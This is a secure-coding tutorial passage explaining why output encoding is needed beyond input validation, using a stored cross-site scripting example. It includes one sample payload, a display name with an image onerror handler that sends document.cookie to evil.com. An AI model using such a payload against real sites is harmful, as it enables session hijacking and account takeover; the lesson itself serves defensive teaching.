Output Encoding

You just learned about input validation. Good. But here's a scenario that breaks it.

A user creates an account with the name Roni <3 Coding. Perfectly legitimate. No malicious intent. The <3 is a heart. You validate the input, it's a string, it's under 100 characters, it doesn't contain <script>. You store it in the database.

Later, you render this name on a profile page:

<h1>Welcome, Roni <3 Coding</h1>

The browser sees <3 Coding and tries to interpret it as an HTML tag. It fails (there's no <3 tag), but the page breaks. The name renders as "Welcome, Roni " with the rest invisible.

Now imagine a malicious user who sets their display name to:

"><img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">

If you render that name without encoding, their JavaScript executes in every other user's browser that views that profile. Cookie theft. Session hijacking. Account takeover. And your input validation didn't catch it because the input was just a "name" string, you can't reject every string containing angle brackets, or people named O'Brien and companies named AT&T would be locked out.

This is why input validation alone isn't enough. You also need output encoding, transforming data so it's safe for the specific context where it's being displayed.

This diagram shows exactly how a stored XSS attack works, and how output encoding stops it cold. Pay close attention to the difference between the "without encoding" and "with encoding" scenarios.